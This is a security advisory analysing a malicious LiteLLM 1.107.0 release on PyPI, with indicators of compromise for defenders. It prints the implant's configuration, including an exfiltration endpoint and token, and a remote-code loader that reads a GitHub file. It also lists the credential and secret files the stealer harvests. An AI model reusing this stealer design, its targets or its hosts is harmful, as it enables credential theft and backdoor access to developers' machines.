# Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

> Source: <https://safedep.io/litellm-pypi-compromise-credential-stealer-backdoor>
> Published: 2026-10-21 00:00:00+00:00

# Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

On this page

The [LiteLLM 1.107.0](https://pypi.org/project/litellm/1.107.0/) release on PyPI carries a credential stealer and a
remote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in
`site-packages`. Both run when any Python process starts on the host, even one that never imports `litellm`. The
upstream GitHub source does not contain them.

Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean.

## What the attack does

Installing `litellm==1.107.0` places three files in `site-packages`. Python loads two of them each time it starts.

1. `cook.pth` imports`cook.py` , a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool
tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to`www.litellm[.]dev` .
2. `sitecustomize.py` starts a background daemon. Every hour, the daemon reads a server address from a GitHub file,
runs the stealer again, and downloads and runs code from that server.

## How the implant got into the release

The `pyproject.toml` in the 1.107.0 source distribution (sdist) has one extra line in the `maturin` build section:

```
[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream)
```

The `maturin` `data = "cook"` setting copies a `cook/` folder into `litellm-1.107.0.data/purelib/` in the wheel. pip
installs that folder into `site-packages`.

The sdist leaves out the `cook/` folder, so this line is the only visible change. The upstream
[`pyproject.toml` at tag `v1.107.0`](https://raw.githubusercontent.com/BerriAI/litellm/v1.107.0/pyproject.toml) has no
`data = "cook"` line and no `cook/` folder. Someone changed the build outside the public repository. SafeDep infers a
compromised release pipeline or stolen PyPI credentials.

The wheel `RECORD` lists the three added files:

``` python
litellm-1.107.0.data/purelib/cook.pth           12 bytes   "import cook"
litellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer
```

## Payload 1: the credential stealer in cook.py

At startup, Python runs each line that starts with `import` in a `.pth` file in `site-packages`. `cook.pth` contains
`import cook`, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and
CI jobs.

`cook.py` wraps about 61 KB of Python in one layer of `exec(zlib.decompress(base64.b64decode('...')))`. The decoded
code starts with this configuration:

```
PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # runs in a daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
                'shell_hist','cloud_creds','dev_secrets','container_creds',
                'cicd_secrets','ai_devtools','env_vars','db_litellm',
                'cloud_metadata','gpg_keys','tls_privkey']
```

### What it collects

| Module | Targets | 
|---|---|
| `sysinfo` ,`netinfo` | Host name, user, operating system, IP addresses, network settings | 
| `browser_pw` | Chromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox `logins.json` and`key4.db` | 
| `browser_hist` | Browser history | 
| `ssh_keys` | `~/.ssh/*` | 
| `shell_hist` | `bash` and`zsh` history, PowerShell PSReadLine,`cmd` history | 
| `cloud_creds` | `~/.aws/credentials` and`config` , Azure profile and tokens,`gcloud` credentials,`~/.kube/config` ,`~/.docker/config.json` ,`gh`` hosts.yml` ,`rclone.conf` ,`~/.netrc` | 
| `dev_secrets` | `.pem` ,`.key` ,`.pfx` ,`.p12` ,`.pk8` ,`.ppk` files under`$HOME` , Composer`auth.json` , FileZilla saved servers | 
| `container_creds` | Kubernetes service account token | 
| `cicd_secrets` | GitLab runner `config.toml` , Jenkins`initialAdminPassword` and`master.key` ,`.vault-token` , Terraform`credentials.tfrc.json` , Packer settings | 
| `ai_devtools` | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code `mcp.json` , Gemini CLI, Codex`auth.json` , Continue, Aider, Goose,`opencode` ,`Qwen` , Crush,`Kiro` , Zed, Hugging Face token | 
| `env_vars` | Its own environment and the environment of other processes through `/proc/<pid>/environ` | 
| `db_litellm` | Reads `DATABASE_URL` and dumps the`LiteLLM_CredentialsTable` and`LiteLLM_ProxyModelTable` tables, which hold the LLM provider API keys of a LiteLLM proxy | 
| `cloud_metadata` | AWS instance metadata service (IMDSv2, then v1): instance identity and role credentials | 
| `gpg_keys` ,`tls_privkey` | GPG keys, TLS private keys | 

### How it sends the data

1. It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded public key.
2. It packs the result into a tar.gz (`hdr.json` ,`data.bin` ,`key.bin` ) and sends it in a POST request to`www.litellm[.]dev/healthcheck` with the header`X-Token: XWiA8gZNa7NcX2XRoAEb` .
3. After a successful upload, it writes `/tmp/.pc_once_72129118c59f5636c0bb` so it collects only once per host. It
also sets`PRIVCOLLECT_ACTIVE=1` to avoid a second run in the same process tree.

## Payload 2: the backdoor in sitecustomize.py

Python imports `sitecustomize` at startup, so this file also runs in every Python process.

```
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH      = "/codepy"
LOOP_INTERVAL  = 3600
LOCK_FILE      = "/tmp/remote_code_loader.lock"
```

1. It takes an exclusive lock on `/tmp/remote_code_loader.lock` , so only one daemon runs per host.
2. It calls `fork()` and`setsid()` , sends standard input and output to`/dev/null` , and changes directory to`/` to
detach from the parent process.
3. Every hour, it:
  1. reads `domain.txt` from the attacker’s GitHub repository and takes the first line that looks like a domain,
  2. runs its embedded copy of the stealer, which has no once-per-host marker,
  3. downloads `http://<domain>/codepy` and runs it with`exec()` .
4. reads 

The attacker can point the daemon at a new server by editing `domain.txt`. Each infected host runs whatever that server
returns as `codepy`.

## Indicators of compromise

### Network

| Indicator | Purpose | 
|---|---|
| `www.litellm[.]dev` ,`hxxp://www.litellm[.]dev/healthcheck` | Receives stolen data | 
| HTTP header `X-Token: XWiA8gZNa7NcX2XRoAEb` | Sent with each upload | 
| `raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt` | Backdoor reads its server address here | 
| `hxxp://<domain>/codepy` | Second-stage code download | 
| Requests to `169.254.169.254` from Python processes | Theft of AWS instance credentials | 

### Host

| Indicator | Meaning | 
|---|---|
| `cook.pth` ,`cook.py` ,`sitecustomize.py` in`site-packages` | Implant installed | 
| `/tmp/.pc_once_72129118c59f5636c0bb` | Stealer already uploaded data | 
| `/tmp/remote_code_loader.lock` | Backdoor daemon has run | 
| Environment variable `PRIVCOLLECT_ACTIVE=1` | Present in infected processes | 
| Detached Python daemon (parent PID 1, own session, working directory `/` ) | Backdoor loop | 

### File hashes (SHA-256)

| File | SHA-256 | 
|---|---|
| `litellm-1.107.0.tar.gz` | `2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819` | 
| `litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl` | `462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7` | 
| `litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl` | `668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6` | 
| `litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl` | `1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00` | 
| `litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl` | `c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054` | 
| `litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl` | `7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d` | 
| `litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl` | `0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a` | 
| `litellm-1.107.0-cp310-abi3-win_amd64.whl` | `12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484` | 

The planted files, from the wheel `RECORD`:

| File | SHA-256 (URL-safe base64) | 
|---|---|
| `cook.pth` | `fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s` | 
| `cook.py` | `ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU` | 
| `sitecustomize.py` | `NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo` | 

- pypi
- python
- malware
- supply-chain
- litellm

### Author

####   [Kunal Singh](https://www.linkedin.com/in/kunalsin9h/)  

 safedep.io

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